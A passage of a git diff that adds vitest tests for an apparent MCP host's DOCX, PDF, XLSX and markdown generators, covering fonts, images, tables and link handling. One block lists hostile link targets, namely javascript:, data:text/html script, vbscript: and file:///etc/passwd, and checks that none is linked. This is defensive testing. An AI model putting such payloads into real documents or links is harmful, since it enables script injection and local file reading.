expect(defaults).toMatch(/<w:rFonts [^>]*w:cs="Arial"/)+ })++ it('keeps the complex-script face on inline code', async () => {+ const found = await paragraphRuns('`كود` text')+ const code = found.find(r => r.text === 'كود')!+ expect(code.props).toMatch(/w:ascii="Consolas"/)+ expect(code.props).not.toMatch(/w:cs="Consolas"/)+ })+})++describe('generate_docx CJK text', () => {+ const docDefaults = async (body: string) => {+ const styles = await part({ body }, 'word/styles.xml')+ return /<w:docDefaults>[\s\S]*?<\/w:docDefaults>/.exec(styles)![0]+ }++ it.each([+ ['日本語のレポート', 'Yu Gothic', 'ja-JP'],+ ['한국어 보고서', 'Malgun Gothic', 'ko-KR'],+ ])('names an East Asian face for %s', async (text, font, lang) => {+ const found = await paragraphRuns(`**${text}**`)+ const run = found.find(r => r.text === text)!+ expect(run.props).toContain(`w:eastAsia="${font}"`)+ expect(run.props).toMatch(new RegExp(`<w:lang [^>]*w:eastAsia="${lang}"`))+ })++ it('sets a document of Han characters alone in the Chinese face by default', async () => {+ const defaults = await docDefaults('**中文报告**')+ expect(defaults).toMatch(/<w:rFonts [^>]*w:eastAsia="Microsoft YaHei"/)+ expect(defaults).toMatch(/<w:lang [^>]*w:eastAsia="zh-CN"/)+ const run = (await paragraphRuns('**中文报告**')).find(r => r.text === '中文报告')!+ expect(run.props).not.toContain('w:eastAsia')+ })++ it('takes the document language from the lines that hold most of its CJK text', () => {+ const chinese = '营收同比增长,超出预期\n产品名:カメラ\n市场份额继续扩大'+ expect(documentEastAsianScript(chinese)?.lang).toBe('zh-CN')+ expect(documentEastAsianScript('売上概要\n今期の売上は増加しました')?.lang).toBe('ja-JP')+ expect(documentEastAsianScript('Plain English')).toBeUndefined()+ })++ it('gives Han characters alone the language of a Japanese document', async () => {+ const body =+ '# 売上概要\n\n今期の売上は前年比で増加しました。\n\n| 都市 | 売上 |\n|---|---|\n| 東京 | 120 |'+ const defaults = await docDefaults(body)+ expect(defaults).toMatch(/<w:rFonts [^>]*w:eastAsia="Yu Gothic"/)+ expect(defaults).toMatch(/<w:lang [^>]*w:eastAsia="ja-JP"/)+ const xml = await part({ body })+ expect(xml).not.toContain('zh-CN')+ expect(xml).not.toContain('Microsoft YaHei')+ })++ it('leaves Latin-only runs without an East Asian face', async () => {+ const found = await paragraphRuns('Plain English')+ expect(found.every(r => !r.props.includes('w:eastAsia'))).toBe(true)+ })+})diff --git a/mcp-host/src/workflow/__tests__/internalTools.generateMarkdown.test.ts b/mcp-host/src/workflow/__tests__/internalTools.generateMarkdown.test.tsnew file mode 100644index 000000000..d1f3c32d6--- /dev/null+++ b/mcp-host/src/workflow/__tests__/internalTools.generateMarkdown.test.ts@@ -0,0 +1,76 @@+/**+ * clerum__generate_markdown writes text or lines and refuses anything else, and+ * names in non-Latin scripts get distinct files.+ */+import { afterEach, beforeEach, describe, expect, it } from 'vitest'+import * as fs from 'fs'+import * as os from 'os'+import * as path from 'path'+import { INTERNAL_TOOLS } from '../internalTools'+import { StepMcpRouter } from '../stepRouter'+import type { InternalToolResult } from '../types'++let outputDir: string++beforeEach(() => {+ outputDir = fs.mkdtempSync(path.join(os.tmpdir(), 'clerum-md-tool-'))+})++afterEach(() => {+ fs.rmSync(outputDir, { recursive: true, force: true })+})++function run(args: Record<string, unknown>): Promise<InternalToolResult> {+ const tool = INTERNAL_TOOLS.find(t => t.name === 'clerum__generate_markdown')!+ return tool.execute(args, outputDir)+}++describe('clerum__generate_markdown content', () => {+ it('joins an array of lines with newlines', async () => {+ const r = await run({ filename: 'a.md', content: ['# Title', '', 'para one'] })+ expect(r.success).toBe(true)+ expect(fs.readFileSync(r.artifact!.path, 'utf8')).toBe('# Title\n\npara one')+ })++ it('accepts the array form on the workflow path too', async () => {+ const router = new StepMcpRouter(() => {+ throw new Error('no MCP servers in this test')+ })+ router.registerInternalTools(INTERNAL_TOOLS, outputDir)+ const { result } = await router.callTool('clerum__generate_markdown', {+ filename: 'w.md',+ content: ['# Title', 'body'],+ })+ expect(result.isError).toBe(false)+ expect(fs.readFileSync(path.join(outputDir, 'w.md'), 'utf8')).toBe('# Title\nbody')+ })++ it.each([+ ['an object', { text: 'x' }, 'content must be the markdown text as a string'],+ ['a list holding an object', ['ok', { text: 'x' }], 'an array with entries that are not text'],+ ['nothing', undefined, 'content is required'],+ ['blank text', ' \n ', 'content is empty'],+ ])('refuses %s instead of writing a meaningless file', async (_label, content, message) => {+ const r = await run({ filename: 'bad.md', content })+ expect(r.success).toBe(false)+ expect(r.error).toContain(message)+ expect(fs.readdirSync(outputDir)).toEqual([])+ })+})++describe('clerum__generate_markdown filenames', () => {+ it('keeps two different non-Latin names in two files', async () => {+ const a = await run({ filename: '报告', content: 'A' })+ const b = await run({ filename: '总结', content: 'B' })+ expect(a.artifact!.name).not.toBe(b.artifact!.name)+ expect(fs.readFileSync(a.artifact!.path, 'utf8')).toBe('A')+ expect(fs.readFileSync(b.artifact!.path, 'utf8')).toBe('B')+ })++ it('keeps the extension on a long name and never writes a hidden file', async () => {+ const long = await run({ filename: 'a'.repeat(250), content: 'x' })+ expect(long.artifact!.name.endsWith('.md')).toBe(true)+ const empty = await run({ filename: '', content: 'x' })+ expect(empty.artifact!.name).toBe('output.md')+ })+})diff --git a/mcp-host/src/workflow/__tests__/internalTools.imageFormats.test.ts b/mcp-host/src/workflow/__tests__/internalTools.imageFormats.test.tsnew file mode 100644index 000000000..8bb900e51--- /dev/null+++ b/mcp-host/src/workflow/__tests__/internalTools.imageFormats.test.ts@@ -0,0 +1,84 @@+/**+ * GIF and WebP images are decoded asynchronously by the canvas library, and+ * each generator embeds images synchronously. These tests read the pixels of+ * what actually lands in the file, since a blank image has the right size.+ */+import { afterEach, beforeEach, describe, expect, it } from 'vitest'+import { createCanvas, loadImage } from '@napi-rs/canvas'+import * as fs from 'fs'+import * as os from 'os'+import * as path from 'path'+import { INTERNAL_TOOLS } from '../internalTools'+import { zipEntries } from './support/zipEntries'++/** One opaque red pixel, without a transparency extension. */+const RED_GIF = Buffer.from(+ 'R0lGODlhAQABAPAAAP8AAP///yH5BAAAAAAALAAAAAABAAEAAAICRAEAOw==',+ 'base64'+)++let outputDir: string++beforeEach(async () => {+ outputDir = fs.mkdtempSync(path.join(os.tmpdir(), 'clerum-formats-'))+ fs.writeFileSync(path.join(outputDir, 'red.gif'), RED_GIF)+ const canvas = createCanvas(40, 20)+ const ctx = canvas.getContext('2d')+ ctx.fillStyle = '#1f6c9f'+ ctx.fillRect(0, 0, 40, 20)+ fs.writeFileSync(path.join(outputDir, 'blue.webp'), await canvas.encode('webp'))+})++afterEach(() => {+ fs.rmSync(outputDir, { recursive: true, force: true })+})++async function opaquePixels(png: Buffer): Promise<number> {+ const image = await loadImage(png)+ const canvas = createCanvas(image.width, image.height)+ const ctx = canvas.getContext('2d')+ ctx.drawImage(image, 0, 0)+ const data = ctx.getImageData(0, 0, image.width, image.height).data+ let count = 0+ for (let i = 3; i < data.length; i += 4) if (data[i] > 0) count+++ return count+}++async function mediaPixels(tool: string, args: Record<string, unknown>): Promise<number[]> {+ const result = await INTERNAL_TOOLS.find(t => t.name === tool)!.execute(args, outputDir)+ expect(result.success, result.error).toBe(true)+ const media = [...zipEntries(result.artifact!.path)].filter(([name]) =>+ /\/media\/[^/]+\.\w+$/.test(name)+ )+ return Promise.all(media.map(([, data]) => opaquePixels(data)))+}++describe('GIF and WebP images keep their pixels', () => {+ it('in a DOCX', async () => {+ const pixels = await mediaPixels('clerum__generate_docx', {+ filename: 'd.docx',+ body: 'Report',+ images: ['red.gif', 'blue.webp'],+ })+ expect(pixels.sort((a, b) => a - b)).toEqual([1, 800])+ })++ it('in an XLSX', async () => {+ const pixels = await mediaPixels('clerum__generate_xlsx', {+ filename: 'x.xlsx',+ sheets: [{ name: 'S', rows: [['a'], [1]], images: ['red.gif', 'blue.webp'] }],+ })+ expect(pixels.sort((a, b) => a - b)).toEqual([1, 800])+ })++ it('in a PPTX', async () => {+ const pixels = await mediaPixels('clerum__generate_pptx', {+ filename: 'p.pptx',+ slides: [+ { layout: 'image', title: 'GIF', image: { path: 'red.gif' } },+ { layout: 'image', title: 'WebP', image: { path: 'blue.webp' } },+ ],+ })+ expect(pixels.filter(n => n > 0).sort((a, b) => a - b)).toEqual([1, 800])+ })+})diff --git a/mcp-host/src/workflow/__tests__/internalTools.images.test.ts b/mcp-host/src/workflow/__tests__/internalTools.images.test.tsnew file mode 100644index 000000000..3520ec2d1--- /dev/null+++ b/mcp-host/src/workflow/__tests__/internalTools.images.test.ts@@ -0,0 +1,168 @@+/**+ * Intrinsic-size reading and aspect-preserving fitting of embedded images.+ */+import { afterEach, beforeEach, describe, expect, it } from 'vitest'+import * as fs from 'fs'+import * as os from 'os'+import * as path from 'path'+import { INTERNAL_TOOLS, fitImageBox, imageDisplaySize, imageIntrinsicSize } from '../internalTools'+import type { InternalToolDefinition } from '../types'+import { withPngDensity } from './support/pngDensity'+import { zipEntryText } from './support/zipEntries'++function findTool(name: string): InternalToolDefinition {+ const tool = INTERNAL_TOOLS.find(t => t.name === name)+ if (!tool) throw new Error(`tool ${name} not registered`)+ return tool+}++let outputDir: string++beforeEach(() => {+ outputDir = fs.mkdtempSync(path.join(os.tmpdir(), 'clerum-img-'))+})++afterEach(() => {+ fs.rmSync(outputDir, { recursive: true, force: true })+})++async function makeChart(filename: string, width: number, height: number): Promise<string> {+ const r = await findTool('clerum__generate_chart').execute(+ {+ filename,+ type: 'bar',+ title: 'Chart',+ width,+ height,+ data: { labels: ['A', 'B'], datasets: [{ label: 's', data: [1, 2] }] },+ },+ outputDir+ )+ expect(r.success).toBe(true)+ return path.join(outputDir, filename)+}++describe('imageIntrinsicSize', () => {+ it('reads a PNG header', async () => {+ const file = await makeChart('c.png', 800, 400)+ const size = imageIntrinsicSize(file)+ expect(size).toBeDefined()+ expect(size!.width / size!.height).toBeCloseTo(2, 5)+ })++ it('returns undefined for a file it cannot read', () => {+ expect(imageIntrinsicSize(path.join(outputDir, 'missing.png'))).toBeUndefined()+ const junk = path.join(outputDir, 'junk.png')+ fs.writeFileSync(junk, 'not an image')+ expect(imageIntrinsicSize(junk)).toBeUndefined()+ })+})++describe('imageDisplaySize', () => {+ it('shows a PNG at the density it declares, up to 1200 dpi', async () => {+ const file = await makeChart('c.png', 800, 400)+ const stored = imageIntrinsicSize(file)!+ // 600 dpi: 23622 pixels a metre, against 3780 at 96 dpi.+ fs.writeFileSync(file, withPngDensity(fs.readFileSync(file), 23622))+ const ratio = 23622 / 3780+ expect(imageDisplaySize(file)).toEqual({+ width: Math.round(stored.width / ratio),+ height: Math.round(stored.height / ratio),+ })+ })++ it('ignores a density no picture is shown at, instead of shrinking it to nothing', async () => {+ const file = await makeChart('c.png', 800, 400)+ const stored = imageIntrinsicSize(file)!+ fs.writeFileSync(file, withPngDensity(fs.readFileSync(file), 0xffffffff))+ expect(imageDisplaySize(file)).toEqual(stored)+ const r = await findTool('clerum__generate_docx').execute(+ { filename: 'd.docx', body: 'x', images: ['c.png'] },+ outputDir+ )+ expect(r.success, r.error).toBe(true)+ const extent = /<wp:extent cx="(\d+)" cy="(\d+)"/.exec(+ zipEntryText(r.artifact!.path, 'word/document.xml')+ )!+ expect(Number(extent[1])).toBeGreaterThan(9525 * 100)+ expect(Number(extent[2])).toBeGreaterThan(9525 * 50)+ })+})++describe('fitImageBox', () => {+ it('keeps the aspect ratio when neither side is given', async () => {+ const file = await makeChart('wide.png', 800, 400)+ const box = fitImageBox(file, { width: 560, height: 380 })+ expect(box.width / box.height).toBeCloseTo(2, 1)+ expect(box.width).toBeLessThanOrEqual(560)+ expect(box.height).toBeLessThanOrEqual(380)+ })++ it('derives the other side from an explicit width', async () => {+ const file = await makeChart('w.png', 800, 400)+ const box = fitImageBox(file, { width: 560, height: 380 }, { width: 400 })+ expect(box.width).toBe(400)+ expect(box.height).toBe(200)+ })++ it('derives the other side from an explicit height', async () => {+ const file = await makeChart('h.png', 800, 400)+ const box = fitImageBox(file, { width: 560, height: 380 }, { height: 150 })+ expect(box.height).toBe(150)+ expect(box.width).toBe(300)+ })++ it('reads a width and height given together as a box, keeping proportions', async () => {+ const file = await makeChart('both.png', 800, 400)+ expect(fitImageBox(file, { width: 560, height: 380 }, { width: 300, height: 300 })).toEqual({+ width: 300,+ height: 150,+ })+ })++ it('fits a tall image without exceeding the box', async () => {+ const file = await makeChart('tall.png', 400, 900)+ const box = fitImageBox(file, { width: 560, height: 380 })+ expect(box.height).toBeLessThanOrEqual(380)+ expect(box.width).toBeLessThanOrEqual(560)+ expect(box.width / box.height).toBeCloseTo(400 / 900, 1)+ })++ it('falls back to the box when the file carries no readable size', () => {+ const junk = path.join(outputDir, 'x.png')+ fs.writeFileSync(junk, 'nope')+ expect(fitImageBox(junk, { width: 500, height: 300 })).toEqual({ width: 500, height: 300 })+ })+})++describe('documents embed charts undistorted', () => {+ it('writes a docx carrying the chart', async () => {+ await makeChart('chart.png', 800, 400)+ const r = await findTool('clerum__generate_docx').execute(+ { filename: 'r.docx', title: 'Report', body: 'Body.', images: [{ path: 'chart.png' }] },+ outputDir+ )+ expect(r.success).toBe(true)+ expect(fs.statSync(path.join(outputDir, 'r.docx')).size).toBeGreaterThan(1000)+ })++ it('writes an xlsx carrying the chart', async () => {+ await makeChart('chart.png', 800, 400)+ const r = await findTool('clerum__generate_xlsx').execute(+ {+ filename: 'r.xlsx',+ sheets: [+ {+ name: 'Data',+ headers: ['A'],+ rows: [[1]],+ images: [{ path: 'chart.png', anchor: 'C2' }],+ },+ ],+ },+ outputDir+ )+ expect(r.success).toBe(true)+ expect(fs.statSync(path.join(outputDir, 'r.xlsx')).size).toBeGreaterThan(1000)+ })+})diff --git a/mcp-host/src/workflow/__tests__/internalTools.markdown.test.ts b/mcp-host/src/workflow/__tests__/internalTools.markdown.test.tsnew file mode 100644index 000000000..931db01a2--- /dev/null+++ b/mcp-host/src/workflow/__tests__/internalTools.markdown.test.ts@@ -0,0 +1,295 @@+/**+ * The markdown constructs the PDF and DOCX generators render instead of+ * printing literally.+ */+import { afterEach, beforeEach, describe, expect, it } from 'vitest'+import * as fs from 'fs'+import * as os from 'os'+import * as path from 'path'+import { INTERNAL_TOOLS } from '../internalTools'+import type { InternalToolDefinition } from '../types'+import { type PdfPage, allText, readPdf } from './support/pdfText'+import { zipEntryText } from './support/zipEntries'++function findTool(name: string): InternalToolDefinition {+ const tool = INTERNAL_TOOLS.find(t => t.name === name)+ if (!tool) throw new Error(`tool ${name} not registered`)+ return tool+}++let outputDir: string++beforeEach(() => {+ outputDir = fs.mkdtempSync(path.join(os.tmpdir(), 'clerum-md-'))+})++afterEach(() => {+ fs.rmSync(outputDir, { recursive: true, force: true })+})++async function pdfPages(body: string, args: Record<string, unknown> = {}): Promise<PdfPage[]> {+ const r = await findTool('clerum__generate_pdf').execute(+ { filename: 'doc.pdf', title: 'Doc', body, ...args },+ outputDir+ )+ expect(r.success, r.error).toBe(true)+ return readPdf(path.join(outputDir, 'doc.pdf'))+}++/** Words are drawn one fragment at a time, so runs of spaces between them are collapsed. */+function shown(pages: PdfPage[]): string {+ return allText(pages).replace(/\s+/g, ' ')+}++/** The text the PDF shows, read back from its content streams. */+async function pdfText(body: string): Promise<string> {+ return shown(await pdfPages(body))+}++/** The PDF file itself, for the link annotations that are not drawn text. */+async function pdfRaw(body: string): Promise<string> {+ await pdfPages(body)+ return fs.readFileSync(path.join(outputDir, 'doc.pdf')).toString('latin1')+}++async function docxXml(body: string): Promise<string> {+ const r = await findTool('clerum__generate_docx').execute(+ { filename: 'doc.docx', title: 'Doc', body },+ outputDir+ )+ expect(r.success, r.error).toBe(true)+ return zipEntryText(path.join(outputDir, 'doc.docx'), 'word/document.xml')+}++describe('PDF markdown', () => {+ it('renders headings deeper than three hashes without printing them', async () => {+ const raw = await pdfText('#### Fourth level\n##### Fifth level')+ expect(raw).toContain('Fourth level')+ expect(raw).not.toContain('#')+ })++ it('builds a real ordered list', async () => {+ const raw = await pdfText('1. First\n2. Second\n3. Third')+ // pdfmake writes list markers itself; the source digits must not survive+ // as part of the item text.+ expect(raw).toContain('First')+ expect(raw).not.toContain('1. First')+ })++ it('keeps nested bullets at their own level', async () => {+ const r = await findTool('clerum__generate_pdf').execute(+ { filename: 'n.pdf', title: 'N', body: '- Top\n - Nested\n- Second' },+ outputDir+ )+ expect(r.success).toBe(true)+ // A nested item is indented further than its parent, so the document is+ // measurably larger than the same three items flattened.+ const nested = fs.statSync(path.join(outputDir, 'n.pdf')).size+ const flatRes = await findTool('clerum__generate_pdf').execute(+ { filename: 'f.pdf', title: 'N', body: '- Top\n- Nested\n- Second' },+ outputDir+ )+ expect(flatRes.success).toBe(true)+ expect(nested).not.toBe(fs.statSync(path.join(outputDir, 'f.pdf')).size)+ })++ it('does not print code fences', async () => {+ const raw = await pdfText('```bash\nkubectl get pods\n```')+ expect(raw).toContain('kubectl get pods')+ expect(raw).not.toContain('```')+ })++ it('does not print blockquote markers', async () => {+ const raw = await pdfText('> Quoted line')+ expect(raw).toContain('Quoted line')+ expect(raw).not.toContain('>')+ })++ it('turns a markdown link into a PDF link annotation', async () => {+ const raw = await pdfRaw('See [the runbook](https://example.com/runbook) for detail.')+ expect(raw).toContain('/Link')+ expect(raw).toContain('example.com/runbook')+ const text = shown(await readPdf(path.join(outputDir, 'doc.pdf')))+ expect(text).toContain('the runbook')+ expect(text).not.toMatch(/[[\]()]/)+ })++ it('accepts every horizontal-rule spelling', async () => {+ const rules: Array<[string, string]> = [+ ['dash', '---'],+ ['star', '***'],+ ['under', '___'],+ ]+ for (const [name, rule] of rules) {+ const file = `rule-${name}.pdf`+ const r = await findTool('clerum__generate_pdf').execute(+ { filename: file, title: 'R', body: `a\n${rule}\nb` },+ outputDir+ )+ expect(r.success).toBe(true)+ const text = shown(await readPdf(path.join(outputDir, file)))+ expect(text).toContain('b')+ expect(text, `${rule} was printed as text`).not.toContain(rule)+ }+ })++ it('sets ***text*** in bold italic and prints escaped markers as themselves', async () => {+ const pages = await pdfPages('A ***bold italic*** B ~~strike~~ C \\*not italic\\* D \\_x\\_ E')+ const text = shown(pages)+ expect(text).toContain('*not italic*')+ expect(text).toContain('_x_')+ expect(text).not.toContain('\\')+ expect(text).not.toMatch(/\*bold|italic\*\*|~~/)+ const fontOf = (word: string) => pages[0].fragments.find(f => f.text.trim() === word)?.font+ expect(fontOf('bold')).toMatch(/(Bold|Medium).*(Italic|Oblique)/i)+ expect(fontOf('*not')).not.toMatch(/Italic|Oblique/i)+ })++ it('keeps balanced parentheses inside a link target', async () => {+ const raw = await pdfRaw('See [wiki](https://en.wikipedia.org/wiki/Foo_(bar)) end.')+ expect(raw.includes('/URI (https://en.wikipedia.org/wiki/Foo_\\(bar\\))')).toBe(true)+ const text = shown(await readPdf(path.join(outputDir, 'doc.pdf')))+ expect(text).toContain('wiki')+ expect(text).not.toContain(')')+ })++ it('drops the closing hashes of a heading', async () => {+ const text = await pdfText('## Section title ##\n# C# #\n### Issue #42')+ expect(text).toContain('Section title')+ expect(text).toContain('C#')+ expect(text).toContain('Issue #42')+ expect(text).not.toMatch(/title\s*#|C#\s*#/)+ })++ it('reads block-level HTML instead of printing its tags', async () => {+ const pages = await pdfPages(+ [+ '<h2>Sales</h2>',+ '<table><tr><th>Region</th></tr><tr><td>North</td></tr></table>',+ '<ul><li>alpha</li><li>beta</li></ul>',+ '<details><summary>Summary</summary>Hidden</details>',+ '<p>One</p><div>Two</div>',+ ].join('\n'),+ {+ title: 'HTML <b>mixed</b> & title',+ headline: '<i>Head</i> line',+ coverPage: true,+ branding: { companyName: 'Acme <span>Corp</span>', footerText: 'Foot <b>note</b>' },+ }+ )+ const text = shown(pages)+ for (const word of [+ 'Sales',+ 'Region',+ 'North',+ 'alpha',+ 'beta',+ 'Summary',+ 'Hidden',+ 'One',+ 'Two',+ ]) {+ expect(text).toContain(word)+ }+ expect(text).toContain('HTML mixed & title')+ expect(text).toContain('Head line')+ expect(text).toContain('Acme Corp')+ expect(text).toContain('Foot note')+ expect(text).not.toMatch(/[<>]|&|SummaryHidden|OneTwo/)+ const body = pages[pages.length - 1].fragments+ const sales = body.find(f => f.text.trim() === 'Sales')+ const region = body.find(f => f.text.trim() === 'Region')+ expect(sales && region && region.y > sales.y).toBe(true)+ })++ it('honours the alignment a table separator declares', async () => {+ const body = '| A | B |\n| :--- | ---: |\n| 1 | 2 |'+ const r = await findTool('clerum__generate_pdf').execute(+ { filename: 'aligned.pdf', title: 'T', body },+ outputDir+ )+ expect(r.success).toBe(true)+ // Right-aligned cells shift their text origin, so the file differs from+ // the same table left-aligned throughout.+ const left = await findTool('clerum__generate_pdf').execute(+ { filename: 'left.pdf', title: 'T', body: '| A | B |\n| --- | --- |\n| 1 | 2 |' },+ outputDir+ )+ expect(left.success).toBe(true)+ expect(fs.statSync(path.join(outputDir, 'aligned.pdf')).size).not.toBe(+ fs.statSync(path.join(outputDir, 'left.pdf')).size+ )+ })+})++describe('DOCX markdown', () => {+ it('renders headings deeper than three hashes as headings', async () => {+ const xml = await docxXml('#### Fourth level')+ expect(xml).not.toContain('#### Fourth')+ expect(xml).toContain('Fourth level')+ })++ it('numbers an ordered list and bullets a bullet list from separate definitions', async () => {+ const xml = await docxXml('1. First\n2. Second\n\n- Alpha\n- Beta')+ const ids = [...xml.matchAll(/<w:numId w:val="(\d+)"/g)].map(m => m[1])+ expect(ids.length).toBe(4)+ // The two kinds must not share a numbering definition, or the bullets+ // continue the ordered list's sequence.+ expect(new Set(ids).size).toBe(2)+ })++ it('gives a nested bullet its own level', async () => {+ const xml = await docxXml('- Top\n - Nested\n- Second')+ const levels = [...xml.matchAll(/<w:ilvl w:val="(\d+)"/g)].map(m => m[1])+ expect(levels).toContain('1')+ })++ it('sets code in a fixed-width face instead of printing the fences', async () => {+ const xml = await docxXml('```bash\nkubectl get pods\n```')+ expect(xml).not.toContain('```')+ expect(xml).toContain('Courier New')+ })++ it('renders a blockquote without its marker', async () => {+ const xml = await docxXml('> Quoted line')+ expect(xml).not.toContain('> Quoted')+ expect(xml).toContain('Quoted line')+ })++ it('emits a real hyperlink', async () => {+ const xml = await docxXml('See [the runbook](https://example.com/runbook).')+ expect(xml).toContain('<w:hyperlink')+ expect(xml).not.toContain('[the runbook]')+ })+})++describe('link handling is restricted to safe schemes', () => {+ const HOSTILE = [+ 'javascript:alert(1)',+ 'JaVaScRiPt:alert(1)',+ 'data:text/html,<script>alert(1)</script>',+ 'vbscript:msgbox(1)',+ 'file:///etc/passwd',+ ]++ it('never turns a non-http scheme into a PDF link', async () => {+ for (const url of HOSTILE) {+ const raw = await pdfRaw(`Click [here](${url}) now.`)+ // The text is still shown, but no link annotation is created for it.+ expect(raw, `${url} became a link`).not.toContain('/Link')+ }+ })++ it('never turns a non-http scheme into a DOCX hyperlink', async () => {+ for (const url of HOSTILE) {+ const xml = await docxXml(`Click [here](${url}) now.`)+ expect(xml, `${url} became a hyperlink`).not.toContain('<w:hyperlink')+ }+ })++ it('still links ordinary http and mailto targets', async () => {+ expect(await pdfRaw('[a](https://example.com)')).toContain('/Link')+ expect(await pdfRaw('[a](http://example.com)')).toContain('/Link')+ expect(await docxXml('[a](mailto:[email protected])')).toContain('<w:hyperlink')+ })+})diff --git a/mcp-host/src/workflow/__tests__/internalTools.pdf.layout.test.ts b/mcp-host/src/workflow/__tests__/internalTools.pdf.layout.test.tsnew file mode 100644index 000000000..9ce3d45c0--- /dev/null+++ b/mcp-host/src/workflow/__tests__/internalTools.pdf.layout.test.ts@@ -0,0 +1,733 @@+/**+ * What the PDF generator puts on the page, read back from the file. Each case+ * checks content a success flag alone would not show was lost or mangled: rows+ * and columns dropped by the table layout, headings stranded at a page foot,+ * list numbers restarting, images skipped without a word, and markup printed+ * literally.+ */+import { afterEach, beforeEach, describe, expect, it } from 'vitest'+import { createCanvas } from '@napi-rs/canvas'+import * as fs from 'fs'+import * as os from 'os'+import * as path from 'path'+import { INTERNAL_TOOLS } from '../internalTools'+import { StepMcpRouter } from '../stepRouter'+import type { InternalToolResult } from '../types'+import { type PdfPage, allText, readPdf } from './support/pdfText'++const tool = INTERNAL_TOOLS.find(t => t.name === 'clerum__generate_pdf')!++let outputDir: string++beforeEach(() => {+ outputDir = fs.mkdtempSync(path.join(os.tmpdir(), 'clerum-pdf-layout-'))+})++afterEach(() => {+ fs.rmSync(outputDir, { recursive: true, force: true })+})++async function render(+ args: Record<string, unknown>+): Promise<{ result: InternalToolResult; pages: PdfPage[] }> {+ const result = await tool.execute(args, outputDir)+ expect(result.success, result.error).toBe(true)+ return { result, pages: await readPdf(path.join(outputDir, result.artifact!.name)) }+}++/** Every fragment whose right edge passes the page's right margin. */+function pastMargin(pages: PdfPage[]): string[] {+ return pages.flatMap(p => p.fragments.filter(f => f.x1 > p.width - 39).map(f => f.text))+}++function pageOf(pages: PdfPage[], text: string): number {+ return pages.findIndex(p => p.fragments.some(f => f.text.includes(text)))+}++/** A solid PNG of the given pixel size in the output folder. */+function writePng(name: string, width: number, height: number): void {+ const canvas = createCanvas(width, height)+ canvas.getContext('2d').fillRect(0, 0, width, height)+ fs.writeFileSync(path.join(outputDir, name), canvas.toBuffer('image/png'))+}++const words = (n: number) => 'alpha beta gamma delta epsilon '.repeat(n)++describe('PDF tables keep every row and column', () => {+ it('splits a first row taller than a page instead of dropping it with the header', async () => {+ const { pages } = await render({+ filename: 't.pdf',+ body: `| Item | Description | Owner |\n|---|---|---|\n| ROWA | ${words(200)}DESCEND | Ana |\n| ROWB | short | Luis |`,+ })+ const text = allText(pages)+ for (const marker of ['Description', 'ROWA', 'DESCEND', 'ROWB']) expect(text).toContain(marker)+ })++ it('splits a middle row taller than a page', async () => {+ const { pages } = await render({+ filename: 't.pdf',+ body: 'x',+ tables: [+ {+ headers: ['Item', 'Description'],+ rows: [+ ['ROW1', 'a'],+ ['ROW2', `${words(240)}MIDEND`],+ ['ROW3', 'c'],+ ],+ },+ ],+ })+ const text = allText(pages)+ for (const marker of ['ROW1', 'ROW2', 'MIDEND', 'ROW3']) expect(text).toContain(marker)+ })++ it('fits a thirteen-column table on the page, turning it to landscape', async () => {+ const months = [+ 'Jan',+ 'Feb',+ 'Mar',+ 'Apr',+ 'May',+ 'Jun',+ 'Jul',+ 'Aug',+ 'Sep',+ 'Oct',+ 'Nov',+ 'Dec',+ ]+ const { result, pages } = await render({+ filename: 'wide.pdf',+ body: 'x',+ tables: [+ {+ headers: ['Metric', ...months],+ rows: [+ ['Revenue (USD)', ...months.slice(1).map((_, i) => `$1,234,${567 + i}`), 'DECVAL'],+ ],+ },+ ],+ })+ expect(allText(pages)).toContain('DECVAL')+ expect(pastMargin(pages)).toEqual([])+ const landscape = pages.find(p => p.width > p.height)+ expect(landscape?.text).toContain('Dec')+ expect(result.content).toMatch(/tables\[0\].*landscape/)+ })++ it('turns to landscape without leaving a blank page, taking the heading along', async () => {+ const months = [+ 'Jan',+ 'Feb',+ 'Mar',+ 'Apr',+ 'May',+ 'Jun',+ 'Jul',+ 'Aug',+ 'Sep',+ 'Oct',+ 'Nov',+ 'Dec',+ ]+ const table =+ `| Metric | ${months.join(' | ')} |\n|---|${'---|'.repeat(12)}\n` ++ `| Revenue | ${months.map((_, i) => `$1,234,${i}00`).join(' | ')} |`+ const covered = await render({+ filename: 'c.pdf',+ title: 'Cover',+ coverPage: true,+ body: `## Monthly\n\n${table}\n\nAfter the table.`,+ })+ expect(covered.pages.map(p => p.width > p.height)).toEqual([false, true, false])+ expect(pageOf(covered.pages, 'Monthly')).toBe(1)+ const first = await render({ filename: 'f.pdf', body: `${table}\n\nAfter.` })+ expect(first.pages.map(p => p.width > p.height)).toEqual([true, false])+ })++ it('breaks a long URL inside its cell rather than pushing columns off the page', async () => {+ const { pages } = await render({+ filename: 'url.pdf',+ body: 'x',+ tables: [+ {+ headers: ['Name', 'Link', 'Status'],+ rows: [['a', `https://example.com/${'x'.repeat(400)}TOKENEND`, 'LASTCOL']],+ },+ ],+ })+ expect(allText(pages)).toContain('LASTCOL')+ // Broken across lines, the URL still reads in order once the breaks are removed.+ expect(allText(pages).replace(/\s+/g, '')).toContain(`example.com/${'x'.repeat(400)}TOKENEND`)+ expect(pastMargin(pages)).toEqual([])+ })++ it('honours tables[].widths', async () => {+ const { pages } = await render({+ filename: 'w.pdf',+ body: 'x',+ tables: [{ headers: ['Narrow', 'Wide'], rows: [['a', 'b']], widths: [60, '*'] }],+ })+ const narrow = pages[0].fragments.find(f => f.text === 'Narrow')!+ const wide = pages[0].fragments.find(f => f.text === 'Wide')!+ // 60pt of column plus the 8pt of cell padding between the two texts.+ expect(wide.x0 - narrow.x0).toBeCloseTo(68, 0)+ })++ it('reports widths it cannot use', async () => {+ const { result } = await render({+ filename: 'w.pdf',+ body: 'x',+ tables: [+ { headers: ['A', 'B'], rows: [['1', '2']], widths: [60] },+ { headers: ['A', 'B'], rows: [['1', '2']], widths: [900, 900] },+ ],+ })+ expect(result.content).toMatch(/tables\[0\]\.widths has 1 entries for 2 columns/)+ expect(result.content).toMatch(/tables\[1\]\.widths add up to 1800 pt/)+ })++ it('reads rows sent as records by header name and says so', async () => {+ const { result, pages } = await render({+ filename: 'o.pdf',+ body: 'x',+ tables: [{ headers: ['Name', 'Qty'], rows: [{ Name: 'OBJNAME', Qty: 7 }] }],+ })+ expect(allText(pages)).toContain('OBJNAME')+ expect(result.content).toMatch(/tables\[0\]: 1 row\(s\) were objects/)+ })++ it('says which rows have more cells than headers', async () => {+ const { result } = await render({+ filename: 'x.pdf',+ body: '| A | B |\n|---|---|\n| a | b | EXTRABODY |',+ tables: [+ {+ headers: ['A', 'B'],+ rows: [+ ['a', 